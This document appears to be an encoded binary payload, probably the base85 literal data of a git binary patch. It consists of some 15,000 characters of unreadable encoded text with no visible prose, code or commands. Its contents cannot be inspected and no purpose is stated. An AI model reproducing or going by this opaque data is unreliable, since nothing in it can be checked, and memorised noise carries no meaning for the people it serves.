z=ynUP={yzo3Qz8QC<4#>rK-hFAslB(3ord;1p2>|I%icT8vy4yRhG=z-T$_ro-11d zov|I5<)Jwgnv70w$fzqi`X}a%|L$9yejLY8wu()3DrFC~2eUmyFIgunc1N3#u-!kK z=`I4&1s@sL?k^hru#PoRsgUHoV56H6_gllxu>&%89sWYMaIXsTp2~SQZ zNXCW@%8hGhzxiY7+8L}^Pg}geYno>tM^v;Gd3o0$Ye!yyGcR8@aU1W!jAZcpsNj5^*Txb*3+A&gh0+ zvn~m3I10-kA!zKL1d0g$`jd*E^#%iBn?}TE;RNV4v^`9SJ!qgV|NC1nxlNcU54Rh) zLjMufoK!j=bw8$mFLV16@Q~_6uAH;k9h!Z~3PaE1ZZQAaveqBDdH-$|DMwj*B_uL)mWD&&O}>nD z<{N`rkC&%lTxHh9g$H6!BZKX$iGG^>#PJFnaO z4LM2voQF0VMMQqJFE_!vK}oyVB_e zDIiX(xConUa12FJSze^%UyF_?d3}Kigqbch5SX(ykr{M{_$KSJca*yXG$<8E$AcGB z2k2?l27y5lFfdOFsD^wql@nSes3Tu%Eosf!nZsz#pT>~7++FRBQ#QMV!{t(!6S7k- z3ODk+41r!|m&0RGwigqRaA>R_1{Sg`!!DnwoS>PdXXCs6dQMFOcNRWE-;4si?TrQ! z?9Xp^&nxK2#)2oAEvLQ(kQr1RF23n&i#ZnEPT9$YbDUEvcha)H>2%u$W8>^c!0ZE% z#%+D4A+CKeVq$q88dieL+pqS4w>z@*)iG}~> zZ&L><Ag5K6GQW+!*jdy5)Afz%+W{$wKbQD*R6ax;R#bMOqdz~rcMb9 z@cmR~@E_@_ZnR=OL|+?vrOVfLdwD+5C)KD4d`5M2&c*s(k0K%f`r6y)wiDhT$CH^t zSkQyy$m}YENyJQ3587m^oU?XXe<%i*qh0C z#lAeE<50?6UFT;bz8d~52>1o*fyvhFwWJi9bB}Xlj^HTBg)u5PuX{H@&+w^tF!)8`L-N5Of9;vrliWFScb3%UF zwlgIRWq|hZO~2zKEU76S;rn71Z9(}9kIaXk zwgxv2qFNu^UJaBb%a`W=kS|Xz52lo-VPVdnp8fUsy6+wq=MysL+!)Huym-=MbF(&H*?fY)x@57E1{sJzj?#G_ zxz_e(50*|>mAwqlLM*q~rIaU15^`6g;=cFM#VG!z@Y>0Bh-$Rt%P46Y>nx0TTFb^6 zh}8Y+J{7Jm73JtSbU|*D1}Y~U|M0~27_Jw6Gc?hZ21%M=*IlGyx|Ar!7dEQVLc~=c zbVBW})R;%(#FRT;mTPfZ(~~QbXli@W&igdp$7_?k-qV`QdoS+9rbDayPId~^F|R4Y zl%59rN`R?!_Ji&+qCMjDm5N)isl(|$yoxq>dg{q0Y#qWIAuw)=JF(3#M47J|u0y41 z(GM`@s(!K)tbsp)i3{=0$NdZ`Xeh!6tR~X z4d7EhgF?-92SMPG;-w$J2^p43XY_}rq#P_XIvXzoRW9jP?LE~0mgo-Re*;-*cs5_^ zM)CM6t0?_-!j`=9tEk>;!)(@^E?b>b&cs{!lSplg1alAf?)3F$57)#ds##@}WxZL{ zC#Lvcw9NzCMRlevE8nkQhgzTYNeR4Lo^enYP_Ir0zdcq7*=RAdUa#8Qom%XFtW*&!mWYp#LZDLnF@D_8z_U=~ zm8+y*Hrr}GzO6re3#ct+%_=F&+39BwAAQbMMRhjdYJDxja@+Of-gch#=lm>QmK;s0 zKW#mM9D2I&8{fIcg_QJc&y$UvS${ewjp%pS!HjN$ny3oWRka0*99RW_ojBO8XDSkxO6f;<#Z?R5RptSj@nTLn_*{45J zzi3U~txqg4PS}4uIU2v|>+})opqWUcnc%nX$I7VPJFZeKGU(JL;0VKZGT*)Ywf8Gq zC;c_;?B_eukeSTih*%kKmtj_HJuQx?=qg#>MAt=Pj1H`mqJxLSnn#}mM&8(43(mbS zvf;!8wi1cSgP{tRez`%r>)yk@)IS6K27i8rr$>Nq3I|ZCXJyYmWctr7E#ql#WPqOFN#3Z+3+@ zDl5&w(g`VLlR@Goda`0cY)x}I3RQXNaFPSDEME+%`HRoT7bN(8>jhoO8rMT5iVA>B zV3^|6JbYELAH9Ehdzgla*LhId<^bUAm(~JT*tKcb&ZN4m_$-G$tHpIqJR1 zuK(yxds>gj?Q}}KE3#YZ%H}KM#BZeZtICHobd&){>tc81DDqLcHCjzi zj89)jm?2&^bz;L7R#Hx-O=Pi#f{TFrY47tuD`nfq{y}#~Ij~phGCyzI%v}XH`Z2bd@Y5OQ}^>j9XU+ z=xupa|M_D)zi6ZJgGL=o9{6)O>iG?7QU|V;Iu$Re${DI!Z0VjqKuclLyj;3SzOR+g zHP?%)!Jq+mvRN4e*v8B>|9y^Q;>-{zzKR+UdGT_3rz|(p2#Al?=9@bSE}*hOkD{9Z zg*6_)S^Yncm+&uO86?hfORhA`LD2J}ozBLmbkM^LY0wsojg+2|zojnkuU-IHP~Ktqr)+D#AFe5J@T?7HX)W|HEa3 zF#XDJTItz)KxOI^7|2IWNuaNxYfgRaeYM%_!8pb!(x2+#uHg*}LqlNMX3*i&K7jg(a#r>8 zFbRAMFs6o(r@@WP9CdlQBfhEO@{7b@)>gaMIJ{+Z*Z+T(6=%$|F%93@!lH1kBcGwK zKaqhM8Mjv*!)Cn&Cf7uQvNa4m0Kk(Jlu4gYmU`U&QC4{Sq|=8lZcH7Nc4o0xp0s+*wVU zfrR?v8kH!z8Kak<9zmR$w}Nxc6BA+ly0o zbU+0Ce++FLks9@5(V`%^xm3*nN8m7=A-l4|_t5$Z$R40qW%j;<|M@3RsECnWIbukm zInb|tgo&@Miw*T%{wEf-Z}>E~Je?HDBGaSDzIrfoJu{jYpLh^7Mm4c|N31)}D({Py$ zma{YuxbD?^fpBooESz(Lp9^Z585Gq^{I4eGVaV_CJO{vqPa|FpN#@l%nv~ zOc*&^Flo^8LIk)uH66s)W;V3JS2BY91e^g5UlWjfU&~;f?u5t-N6}-@rfh^<09>*z zSI#6kD32UbAKi9UtZOC|WN?soO*c&&yYUIwU0;yn`m4rpx5=ZO;0haDXRHI}DK@e? z;Ro;iXz*|0*dmPagSD96;66_Ig@$2A5~BESnAFyUxEwe$ng>Lk;b`XO;_`BviRNvC zC}tE~zdXdIaGQZE)7epfjeri*jQ_3?*-1e8Jq-|?L;s8Bunzz*>-e||jtW)yr&xqR zn1^ESBFFU+W1G^D9uPXl#)yhT4)ffvU)X`uqH9s&W zRMd>Fl`*~y15K8fCeP7=nms<3pWac<3Byx?Ldy@F68(7enGS_hHCqFWh$Bm$fRiaJ?xPgo3C zz$7axD|Z^@w0hPiY+`<%biB7Cmk-%$-1KEPIttTvWpwA{#DrOcbWj02t z77eaJg6qh(_C=bUyW-tM_rXjR4e%U0`1||E#b-(h=11e>_tBrF-SPk#S&&8|dA2^1 z&IovBC?vW?Ry0vY3IBGmR#rwvvZ)Hnut%P(DJXQx~qHN^`_ndbvBna5F@E9c!Ak!J+BfC{IGhGMz9 zGc2lS74GI@kYJ~TeH(Qz%a+IvPU889hjOc;`;vrEKF0?O3k$hXN%sQd)tNLU<~LwP z0o{TB(g0kH*HJj&*bBG(J{cDhJO>4np+9-?9=HI>-G}y12@-@VMiGPDOVcEOB~I97 zN0lE!PK-fk8AcL{-^$7Hl_NhaR;~A4!<$wijxduBc&x?k z+BCih{-tIB9J7pR>aomHqH4SqZU=mSW>Ft_B!mkgx2#-AN@#I(H zj9EiL1ld7yLrjzStDt}xHn35pEot(I;`&uYEG8*EOk*+HCzu|WyF%4gkQ zPz!yiKFerIL#&3hFfNPTfm-AX!GCF2mF*Yao{W1u2MjL%H@)bAu83F?DWG?!uQzsc zt%Fl#lwy6s3}hW&a{FjQ@keC5%ufOlqNqb_9iy_zzznvb!4nw?xt1`?FQnZg{fY+< zfq}4u>~wudEUE*R%$r`V12R0apU?RPH_j#_!tEfzTX;KT4w{W@BRICl8MT%xEx^Y- z{GcE=7Fl|O4l@#9E_uhN!A&zWc<|O>wAlQ#0x{ePOUZDvP-r6GNH~_7j2LB(019zT zsioOVslQf3`D%{beFguQm)gm*O(BvIj_S^|&vH7R&m0Kwl2jc`Zb2W03_~Qo;m1)e zVK8)`tVFKyqwFq%+9hME2*{E^(wQn=p!Y0!+({lFMSe0)n;p+UDj*0zy3ew`kI-ZY zq(;}K)puW=0dkWNevmkfLF{y01ffP^pHU@IL|avkDc+ga}4I)lf$95JZ8_{N2ToF|aclohUe zvPo@BamMD6`lv?+W@>_Ly{wHW9W!0Q>Eh%KS3qV;jKQB753}?uyFqx7nGG_^jIANy z_<`zZ$M&3b>xjotH#;Cw&pYss^UHQqE6Ygg@=}O+P4@Qn1v%phMBEopvB!v0QbOdh z8waZxq4CKWYTJSbvUO`_W?AbPcQO|1sjysmcBMjVV{LvxgcwyBwS#%+#m0v4hNxnl zjx5w%UNFC}7C1)I;$4BSl=MNCW}u<^ruJR`qwp6VD(X)lCm!<*uYy6)pYtn7%b$6q?agO& zk3$KQCUV_JH7xhbSYY@mj1z-?oLU8Btd9-1w!x5lvU|Sf_%J7eA{r+g;&7X&iC-)H zw9<`3|DKf>yxxyj%B@p!5vRq};8_}Ho+n(yb%JG;X{6%E;9o_NgO#>QHiv$O+iVJt zOZ7T|ZwHgu;2S_e^KJ)?U$OnN%svDgqe|Jpv8_5rUxtVh6a1ZDady;R5#QY9{tyTY zJOAr(Nz1{=VZ4 z9XHC_e{V(rI0OP|Q65}+gMurKJ%%PH9>Chy!L*c8rpI#NBpdu#>|M&&@fC1Mk{dbf zv|-LQ8ou4+@C9kM^FYcJ{txlH8%TW&T&eNcaHDYx+LuoJyi991v?@F#)X;UGtf-w8 zLH-ZnD&%27!ZFbiz%@qw-!<+O1a{-DZ?@k8&a6MhU!BKwvB$h;fFtpl zjfr7M)7O!Uf)a`+^45_bNc*rt(U4!u;Pr9nJGhyM<8l;p^g0-vU4D!r9|<2Bov{vD z=cMqzcK5ej26E$WBCUP~WMYvIsmIJC^Y4!dGD|WeIU%{hQapv2j{muRF~OODS`P1a z?dBRFX;VVb;4o0!;M4u+lMRrh`xApRfxL-l?PERyF7XEy#mrEiy)m2{7{1C&;wb$X zC#Weu)oryvU)&%Mp3E(=tcnj%a8wrM_zA)-5UYs=MqK5QifBg^L(|UHD7OY_eM!j2 zh`(k*_kf1L7tQ~xi9!4z3J@!Z1SAO(-=)Knk1>Y*(L+KpJ_rf#j^i2c#Tt>0!G+jn zhF@HDG|C@idVO;c8J8zzgPBwGD!1723~}_r8LT)NKtOa#0DT=9LRFd|i60=ImTV)%Nlo6J0R5JSFo>~6tR*qfiZ+s_QeS^)4O3#WipMkb-204bR zeKyu7wpCz)1|%2c96#^KFK|mm0e37XE{d06J6EI1OugvZ;KRXA%U0H?)wk z{-6ko;_L_{m^hGZ8ju3WaJNMq=vzN;hx|>`Bq*o!_*vP~DNpToPeW;+%UTs{@nL@<{*!SC%M0#;z z&8y{7ey*E%cQ}^`>tWwSCRiFQsZsS_;0)N$imj+6q$b&49B+Baidh3L!SuRTayHIuc}v<{Ei9h1Xy!ll?M&XHnKRl%%9u-$ z#Yv7HZQqwdzp20^Pq<$n$Z55n0RRcniFr50wpw{F%eg;G2tqP z#jrO%hn#Cc^_Zd<0_bEz8rXeHdF>Y3CLiVWRgO*JLgyxa=NZcY!a8x6K(#kE3&o07 zwk0>!krX}mHc^@M${$=er_#lM1`e+B!T;R#uj2LB&J<&kr@gSTrzB^lST59eQ53eZ z|LSk$Vj?pz+H!xO$0E2oxVYXz8PYU<9dZ_(2Q<*`gg7QPi;?#zY|6B&G#rXSj%M`l z>EC`NZIu4D0%5XD&YLQvOpm@ej~VqhU17&gPY9yS!=SQ>G{Ak2lv;qZ_D?)3`aGe+ z1F<_@%`PKtIO$Y|GKYWe-!oFuP^U5^HddzHaglB7o;h$!@b*;)3l|o> zH9t)EQ>mSypR_AlVX9i!C^6*Y=XB&JRHT}eyicvEy!f4X*x>GsZ)e_u_R}F;Z{hdJ z1mdP;rcIyW0M{iz6OvbYtYSYUTj66w?lZ5;+RaG7LRd4gv$6&2y+pD2Yn^AqiyxI- zTbrqs;L-jd*13+0Xwan2)g-ybM^w)y|2CIkWq{>Yp-Q_Fv23KxX0Wcwco}yf9cOK? zxG0~?Q3PG6FSUidNP{Q;he-x+Y4D4I_pN8rI-UHw+S;fHSuYp_ddCaAyn#Ye?t3<@ zQTjV)*eys0-LW9w{9U!Dqa$Y$9f_h>DUjfIAR@~10TkoR=yW?7OBEfWIZiqy-z-b|Fd}#>Yo3& z9c@A+mYtGRSNeMXs0cgLt$ZcVLf_0-QGgv`EA_8` z8hLAto0&i{U%lg>E<8_gH$*y)RM?2DYI zbWeS>$E>SG;uan9!mib~ko4TygX{Vms_axZH~h9?ZfqfJq5e_*gV21!nJ;)w8}0Hs zVv9!9s<>TQ$K>W_?`d?&pJO(`>^f^jzRXp$Y;TI0wYlk+d2Y!VqLJwg&P)Csdhxjg zi^z9#<6j12IdY6cP3yWjY22oxey6=FkAH!HXkqgaVW<3P?-yH{!EVu|_s`n7bD<-K z@@2TUMr20X>8LOtwXm>0xtQO50|bH<060$AMt;*w7G-6{9A5xy-o0T|HL?zH8bDV< zRwzwaPydvPk)kbPNovgeZB0jR4Urj%+&C`yloW{`iS8z{qVWtj81WT40b`}0HenwO zJ27(QZKC+p z#BK8uIpZQTJ-fF4n5DnKI5*cT)jHf3TcXBvHfB~K!iadm@QUu*Hyn>9$wuC8GA1qN zh`Yv_i&KC~F%l5#uO~EFonW%JJDUHYhjdjYPgnL)tm5Msfw-)9B*xYCFG?FO2_6y5 zQxb<0Bpd~LCA55XakPa&rX}!W@8|kdFwCGr9xJU0S$^^ z9N7|-SV4k6oY?WK4mY(e*=-(cau1mDrPgW%m}>6{r2f);?fGO>R*-XTIepiV+GUxm z*obALyN2~f^n>sp)(>8- zl+HC8T%4j76$qs3+MFQ_QLzq8A>XG1?^`;SdgrV;{<`@D#4r#2P$EA5U0Ww-uT}J$ z_Z?~?<10(xKG%vjz7I5~e>|A2DU{0=^EW8}+-!l&7^NQ5@?*&L-DYD)C!)_vkWJKb z>4y2JqTzcO`tpB^qDuVp6m>S-F??zt%=u-h)muyS@y1l>-#qRs^nkBksqKQIJUnJC zQp-w)J~t=E8NV$klss&UUOL;`y{Zkq* z!~hA&!z$3Mx$b0=>el5hc&v7sWq%dF^|q_}4Oz8~j3-*f(CNRMi=-GG`j47_6%Fm7 zzw3Ef4R4Z=Nz~k)0#-XnI1mW2gHCXB{-y}-9v#GW1{%zZUtX1Qgh||ha;iFw&G_px zpsAC>X4{?Lb>gS5c$M&q1O^R{eYG+7Rf>1f|J);Y%PyFTds7-<8fxn&jGdwp8wc&q z>g<2yG{CxWRrHQTr}pJ>kPk$BRfi~QvbyNN3+zoLj1G;bSH}d5s^7&0)YIg0 z2A4Vk;2~a?!gsP4pq!jVlyz-<;KR`9Ft47FkgUBw>T@biVK`Q7RB1o(<+eL;?T`4Z zY2bG;CR>M>7`_J}8;st}T{#dpMA$dp*~x&#?*>hRa|IO@eFv!5M~iAr*36u&^%i^q z7jMa<X0gd{>$_j7y=qpqT>7h$&Up5p{ z{VDbQ^?*k&;lG+F&P#p0gM?aLJ`<9hLU1cK4wq@W4!!gA9kSJfrlk4{h5NJB?6EOU zVlq-bgsHi4>cz#Z@%crjvSBLNlq9R__l~(Zrc!WPy#M`apDi6d5=~Sp=tsF>yIl}n zn}Qv>y5uV?`ZM7Urq9UJrAGmlGg8UZ6VEu5USPj0qMK8)EO67%58mbba;<=8J@+Qx zdfu!;hB)au@nLlJJS2o}{@TgRMS6>9=B`=?@J~$2nJZ|m zt@?e^@8?k|_;)n4Ibk_QPiPB644LMZv06-<1S4Go11tt?J2GXn@^Jlo;S&V~}IRe<@u=6CTxR)oVuUk;tOeM9#Z zfCI$5^=9dn$N4ay?H?CFu|UJGmGv&ZF2>uBa?>vP=+J!5{#GX(&JgsSr#+zQny?Yn zObh~?g4*Mz4gD99$xEApV?i!8Kc+jKNBEx49aSR%b>i^sC}DFh)U=3Gw4ljn&}$GF zA-0rJqK`YPe#hQ^zH!#_y;atr-Jss@!vo}#)g|xlkS0=T(|vRMolv98ZUQlDj?bCA z_k8FS^dtpRpBSL1@zvfsfd+!I`A0mbRk@8r%+mYIa-;Kf9YJ?u8b&oHCO(X-%ICnb z>(Tg-dz<_Wx?`jY_i3OQS(_1hJdj_D+vroFF5>q;=T*rfAA6@$CggIQ9TgqTbo{&j zrv`(K;S~KQ(bBA}`%2`!#v zkPGjn-{rM!Kb^1JD?b*IO}0eE#0)al*x~1mQ#y0a%u~r?U;YyR3U3p(6E+qDmUHIo zcY>3u7fB2DK7jBN`U%j3_=?T}!w?OkGmPGi;CAR?Dwq@zS!PedLcBJ8WQq@R_IU9s z;lqRuZg6gfNS!Lz?0Ld;pXX)#C-O%d!45VcJOv^quU6yH;CmBhi~8!4`G=wU3bIK9CE)U_Vh{4Ym7cR_AIQ2!FU< zW{(xQNh7`kj)dp7Aqz|{)3s)?3L;N(uAYbxlQ)@0e&5>u zv~1MJdD&d7lGGb-CwAgkgl9U~s*o;L7VR+k%@KWtRzEc(>r7vmZ#>5*)jOO;ESva@ zc#*3sRQw@wh@Gu}1{RF*Hb*Hc7T$G`f8oM2_;VeSU*G(m1W7o%p<1aTk z1gAdl8{)p3n$&m)zb?@Qp;pd?VC~IRnQo!1*w+(2`W%!Lgl=^4xc-};n=|?A)W#%I z(dFjjBWY1cd>_HWGF7r1YBaC@%f2`fS<{kfmT4HgTBp^2_Wd@f%XOxnsuh~0Mb(Tg z20PcyXURef@eX8<@=V$Z+j^5?=HsL*G-cda#3RW2i;pP3y-KCV#4 z*63f<=_j9Tsld5_LB^}8(+^$C06RjXLC3eJM1@iDU_EJ|eKE!Qm4e*LpnXF2rwRfp(b6`L$d;M!5LbKz8;I6ojLXiOJ9q=+jaxuUX{cjp zfNd|lrNDEB+4a+Ru1tpAM5`Q76Ue?2ao^hTF1;+uV#-%-yEgi_@{aRQzKx0d`8&s`V1NV zGylhSA?U)V`u6^k+E*}h8&hhtJlUihGef)v>mLazNi=kOo5;-RtF9Fj31`sicrO%l z2J_ot2P3Kd(P#9!K=D$JjhR2+C*cs@^+xs9gekovVrJ-0n^yl`{8ZgcNYq=z<;vua zg{~j0!KCEG@j}-}>Er__dEQNe8#D0|0$ekB+rxCt2vG%a3MkEzPPl|S>Js^F028bW zx7YBup61GV3izSJV!qVWkdy=At-}D#*!eJ0e~+QHbC8Q$?c0f|dAyVUpTwm1BO|Ok zpOrE()hVC|^W0-`R>lsMIS*3V6zn-C8cv3!MpL$rb>7h}CoNG*xJ-1q&KAH!KX`L%P~x#xO10(aBka0cHns*GM=K>s@=>nP(< zk?YJdg1M4jMezqgbR>(wR@Ci&;B(zqU3a!yt_Er22ThRcOMQwyuZOBdB)ej5)Lno2 z30A4NMj{IqPGA_-N*8mtM2t^v0R7&D>SWykBa|5ucR!1=s~?8rFG1X6i{b-%8Ly~V zutWTK7T#VKBm6WRA>OtkqRl!yfG(O*IQ7_d+&DNn>Gs9!4Zab1Yupjei=^0ujfc?p zAP&AjHHO!;q~|R%VU{D<#SaNIE=9r+R5y!F>UPkYI~OvQl$6s?xmXHQ6GEHlxDA%v z&x$YHY8CXHD@g-D`k@y-Itb;k??R~1TOsp~QjOKLQLp!uHZO3wXJk(;yS)Xe3E+Sr zoI$qd7BPNroMnDW{AeQs^kS45B}$0}esUAFK%DkR_*^3ARhpKJwD{O8?>oNYKPK!j zFRL(a)PM)9K(fD@E$=WZ6f-`J<+0*zi~X%NtO#vY#haw`ycA|-8ykxlDk1o`wUvzW zk%X0n?GNL(&iuUh|C;p7Dl0xW&5;%~R+AUv{XwlBh2n<+O&597nCP6rl0zjMAdcO74wpZMoT+<&*Amtg zCgm+*+FRk6R@Ae#jr+mxo%4aF?Auj%aO}gsT6f=7Pt{(~v)Eke5h@HIN%7fcqrJYG zKJ#U79l9dX*F-oQ+)oFcuDY7d){KfW1LPeS&8OP*(Ig6a3Va+4Cqu7YI?vM{qRkK@ zgE)%&6%^i8Y0@h+v};47W2(`_i+=wrOMi zf5kVDy%16=6jzcKS5h#7<*UeCIR&TMoMIPCkoWo_-e+L#^wXRPC9mFLT9LON?H0uy z+MEY1$+U9ge#nVhO^D?gcjsI}G%(PMP3q%k$WF#g#hOVxeo$6oA2^x$jS;Qf|0irO zSEGijVycm`!_YyphP=Z%Qs{Qg-`wCA^NO+JFeoUu%|0P%Hz3H3fDDgf! zt1-95xgX~6{mJZY)e-H7Z;AzYOU$U3{RZECgv{OiB(^@Hn7=>j>dI_l|6GK^n$n>%wOE&t*0b%5s( z?UO{hqg2MbB%z1+#J7Kx&&R+~zqe()A$h-|cf)@oqCga66s(%csh`A4*zr8UKDC|) zLCG&twAtlj=k-AI+$|_gHmyNy4rqyD!btTd`sq_(a5gQ9e=`Ees>|vYTO+H$tqIJc zQZdqZx>eIZw{7k>xNY40TlHMsxqmHIJqk}{sX}d!lj2&Z9|L2 znv%5yGZ|i9iF2emc#V8KboIxW{blplX25uQUEcaEy}>(6+$21ilEcvnw;()p*GLe( zSR}7OHgvw;ZdQ*C#5O-a|J&~_UuA#tz61Lzf6KprFkpR&8C%_^aW%)s>T}Jj)q{h~ zAuE9una}R-?!SEY<7pt+{ke~CtgLXX{&LkUMRxrO7*8n15Eh)&@&@1|>6TkcO6>(1LxU!o%inMczeJY-WO{g$tk%{~oxr#fAb>w0Mr54sC zg=@b;vi$IM?f$gO3x3+qpR*J?J*KB2ju1iY`&GF?NdaS>nP$k;K({*S#2_|dm}+^V z%qJcW&50L!db&x+pD5jbD{9Hs{N_>Ija(N_2b10IBQ_&J)n1UdJ8dc$cPw0)`~mP{pMf+Yn+_sQUW2r9bbWwp-80c{TmmhwqnTkkPwcRSNPd;>r-Id zy~(S_$XaIb-QGp z1igdX@Wbyv8|8JA=H_(s%UVAO3MI|$4cT=RqTVi9U#dG4hKn{X6#O{9I`Cw}NNtYl z_?CVQC)j|MCl?k;hm1!>?Ng@4-c@q$vs4h84h@kPC$}V$%X%4Lm6gTG!Iox7b3bj%>T5MrN!3W0PFPjlmR4%#X5ROAJL-r3{ z9W?dRI|2oTTvkShh|LKeWD#%mw<=yAu<6Sn>=7f;SC9a;(vv4}LoMa@iBAUbN`yf? zm3)+0EEUiig$a}ol!kreBL;!jouETFDYBPGCSfrK38zU_4jAcWl;_6$d7G9*_5>i4 ziTV&6NEJklL2>W|XSQk(I`gT9#-~X9KRfm*uEG>0(dMG(AR|;6$Q3GydOvxW*gIuk zn9@1K5*9}ljJG|G0X~s5ZN(Yqu@MTAbouin|xLV!_?r zO0nV&rC2HMZpGc500oM>yCt{>4TSLJdEfJmanAXdKiRqWJ+fuYb*(uA6;JeD912vW zfzh!TESMuf@Rw%>sOrm+_{b5@{YYV)2=f+fUtkYv`jpDs+B6!yFPe-G^<2&Rm0dGL z*ZAIScn{O~rY07Peq!ymOWy-hH&uK<2p|$WlPNkQL+o>WKh(JEee6s=_d7b}YDZo# zKG@j$G^ek8ICEgV2oAFkrwEXqOpp8htF^0RodHE888y0zh{HJf1(NsD2!o{6jv~UJ z%m&90Y!I2jf$49kN?)sHkII-u>*$v`3v~uNBjkNi2q)PYfBAqNLLyDwN3pY0rzw*1 z6~BCt3>{;XcqTv@e~#jAFOtZu|2T7R1X)@{xD;Om)&BJFExlxcf(ag5w*uFG1@Hdn zYBP$cN{jj#$Gz?k9QG;}QA1%=!hyPnunl6b-_auOXP5tb%7(pmd!eZYeYokzkyZR9 z@G1Sf`->mCy#hzza^4fi3xp%4hY9=6A9l6{cSQL0^khRW1x#Z$ivL|fZj2(V7 zDy2GrfJ~$eEVG~Z6#Z>%e2R%X|7IU&S46RMx>Q*g(oU)^_;qf5e7}rIs`Vi*25ao$ z@E0ryz7@nA^jI3ij4gJVFH-C~)N1w{K-4?u45=5WA50s0;9 z)7hy31>wF-N+gru%Zv}S_2n)or3Ze})8Gpq)$O(jiEs{jvY+uHm^TP^_(9jWf;$nF zGsKxKekYVi#oHGBX5JXFPlz1v!MEn5?<>_)$PRZX1Tl1lIGmwy=G?5Qp@$b{;CaPcAD)`V+Q^ zY2aHsKM%@Ren5&+pQ^X?gfGuMFZYm9mRda%AK;xSEGmfRKN{f-{%vYWs0+@#z$aI0 zKe-_q_wBqHW6H7nu1y6U{CtX9=k(3OU&l@fz7+H%j$jaaU>pzxCO@Lv10jHJ-gk3s zy~J!K$4-`DHL7xLz+6UgTGz6RdRXi`n&QU}8M}F%)v{R>TKc8j z1ArExP1uuPn1AN4t{;F9)1LnnjwA=#%gW6xiGew-TukYS2 z*=3xfLj2uwrwl14@&8w}I@k_yT@@&m-@6N>y(r9gw{Q{HG$_sW@~RC5t_vhV{Er*$ z8!)(PZt9CQY=+kgznC0T*WBV|{oRE{v$Bm>8giPjx8u6G1p1I1)@!u+g=zQ&=bYH( z7e{Mo?IyfA3Axe_ZhozA58=0*#IsD*-#jykY}-_{g3jm=lhQOY1Rvj$zgt2p_5lt$ z)2-V3a1?hs$S~hGQR|#2-n-fw=Jy8v1DtV-e}|j^vJ!a{Qk8uB*<2j0Ce_5tWx>PYe315sQPG>BE{<;1s8 z=X)PkHpek6kIaPiFyv0rZ8Xv3PTvRDF%7f|dSn|jtpjBgXVp|qq~KEB&8&K8C300+ ze{HnPSR^ut^pK!nsks&hQ_pM;p-JDH!j zz8TeIU^4r})WtE1aDWGwfm^5~&l`|cuQFLLPSfonKUDk$GCBQ!NL3jL2 zFTZ1n#_>K>Ngg{4eU)XZ3uDAcCzGHzGhhC$gR-7|hg9LgdgLL5HvY8sUQacXB}FC} z823j78>_44dI%Uj0XA<&F9$|19D9q;2mFu7YTH-Icz&0oyrxL zVJLC#y5bRhjF^5_m>b!U2*H1aiT@__zYF>eF0qpaNEzPID<*{~*-&LMdcFx%H(JxD!y9=xzGAAL615ROI&1^Qa{elk>A|DO?%-;sZxmw9?6{JSm&2{y2O0+DA2kN4!R>^aNu}{wBNG(qjemkSq)3Z`2TtS|2xWrMU16l<7U|0 zt3{e{P~ewgf=c#)Te|k@CWuBY*286&zsxuDN<9|DAcVBMGp-e<9hz@pZEM4&j-_S) z?-zm?a2Ze)P^C|rfkM0AO;&6W&S`*BXe68A$GMEW^yc+b?E4l9#F6}7J?Gi8GJ&wK z;Q#-15#lQ%+0qzusx|t>#Afa15B|-Bw`~RJCbI0l zBIQ&haKJ3Bc(qPU+xwG=&2}_r@Db!?9S<@f=>G<7;Sdfr z%#srOk@80A;;5bOqY3HaXOq~scS$$QN&m9R{@EkT>{S`-IQZ_JKcRp-@wC6dWv%0U z1aa$DZ{h!fO@i%MEwZ?an$kPNvDg<^6LcU%>&c!#v`Rn>-^cx6*yoH&!NDFpn2^UB zzxNj=0zHD1hm=XL>X3rwmZ*?WzO)gYYdiKT|EKHgM86~KP|MF-mHDSj25`iEok~y4 zly42S$>^N}C4nAlX=0=4o*hv=D@nOD9Y6)N_f6hbyFAV2@FK2QbEb+lRACA`=r z+`#Lmz|$qt(weUBDy!`?5$j%OUsjw4J78GCqc}0Lj|67A9f&E1W8@DjJMy0u7e~1o z0h!QxLoFszf?5l0V;vnK;pZdgd?)|PTbe2YgyxMap*ZPK;ugE8Dz#LA`e zLS8sz6xZ51;W+^kqELKC0pC9A@U`9_o?;40dk}pH8OQFi7IDRibSHc$W%N z9;>dvTnf_*J|%ft=mG4UlYI;V&)%xVUYQu2Kcc2~MSm73ZC0JE2~Clf|ER16NW*jG zd%AAA_{hd`K=J2+X!OgArKzJfSgyx3?6g*6*)MT8hH`9pBb7=T4$S5cQAUw?bF($u zlISmtW@U{NcNNz?ZYA`u$Q5YBQT$3#jAt~$&un zIzuh3h;9=*R?TdBG+~BSbK%MD$UC3`4`OOLjUFATBOY`G_j`~D{c_2;^2@NFV6eB- z)POB5z}66Ld1WL%=ac*_$iwT$3nMDkCuA}96xCe7{pH1n_4mviS$x>>UF5BANrS59 zG<^SLEjsQI+y+0qKVZ3*-~)`A3osRhi6oENyWO`;2E2ewL>(ojQmQaUbJ3mb9`?Jp zn05%@vkhp;7GuP1y^_)-CvPcPp2Iv1xUFOb_GFwRP716=x}83r;{>g6DH@i0yxpxG zrD(t2$mb2@7|Nlq9gA+7>^kprxfMTn2C5q1`?3aKi!kB!?3;Rc z3$xpHVoLJ;@oo_tn72L>YWsl5CikRvTM|#(mE_+!mxG}~u5lJ$(>=4eXwh-v5~!xp z0PAI9{tUXj!c3Rr;!7+ns42Q#EpZw7!hgsBL1Y`Nb8G&9W-yU`a2LTR zA=8!T7i7H_89x*)L}rYQfBe>=-kN{?FK9uIb!(;CMe~6D4%~P{(~ZtZxb?1m`cbv>?_xxFjq!Nj`6Wzg(Hn)Qs*r~0! z_G3mD3^L|=y{`;S5{LGTAk6L~X1BztfxywND*{5Rl+sf{Ez{Xom+hO z&W`zlj4Ze~%_Nb?)L-4idj}c%7dwzTARwS5WN~T9c52=ta5Vp@C>J*6YmMT%qr{Ux z@Yuwx*c-ACr#lDdl(W=4Z00_(RGDA zxKv;3R9=UKL0qSgHgf%*ux=}3>8X-? z0*wA`$*Pw}>oPBHiyvo4Eo1%6)n{r(MXlHBa%vKhm6fyBItqI6dg+8YzpTAzQX(?Y z{?kNQx1i@1RLs`d>zi134woiESBR6RfBQm3=GDM8COe6*t@6|6KE=8fDL`tSqj)Nv6H`iT0Jz0`87%Ayn}Gp!lAbqpdN7b2UApIV{=#UU(~| zHVAamz*$SzUWaqssWrgmu!l^pc^~kGg$`m(hUEh0z7!2grnO$4UuKNKoB+hknvH_# z-_dF*qqpZ={-PL${~J2Ly}`&MS6Y5}LsWCX)BvIU#i 